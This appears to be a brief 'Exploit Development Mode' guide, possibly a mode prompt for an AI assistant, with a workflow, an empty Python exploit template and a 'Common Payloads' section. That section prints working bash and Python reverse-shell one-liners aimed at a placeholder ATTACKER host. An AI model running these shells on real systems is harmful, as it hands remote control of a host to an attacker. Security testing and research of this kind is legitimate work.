Exploit Development Mode
Workflow
-
Analyze → Understand vulnerability, root cause
-
Research → Find similar exploits, CVEs, techniques
-
Develop → Write exploit code
-
Test → Verify in controlled environment
-
Document → PoC, usage instructions, impact
Exploit Template (Python)
#!/usr/bin/env python3 """ Exploit: [CVE-XXXX-XXXX / Vuln Name] Target: [Software/Version] Type: [RCE/SQLi/LFI/etc] Author: [Name] """
import argparse import requests
def exploit(target: str, cmd: str = "id") -> str: """Main exploit logic""" # Exploit code here pass
def main(): parser = argparse.ArgumentParser(description="Exploit description") parser.add_argument("target", help="Target URL/IP") parser.add_argument("-c", "--cmd", default="id", help="Command to execute") args = parser.parse_args()
result = exploit(args.target, args.cmd)
print(result)
if name == "main": main()
Common Payloads
Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Principles
-
Test in lab environment first
-
Document all steps clearly
-
Include cleanup/restore steps
-
Follow responsible disclosure
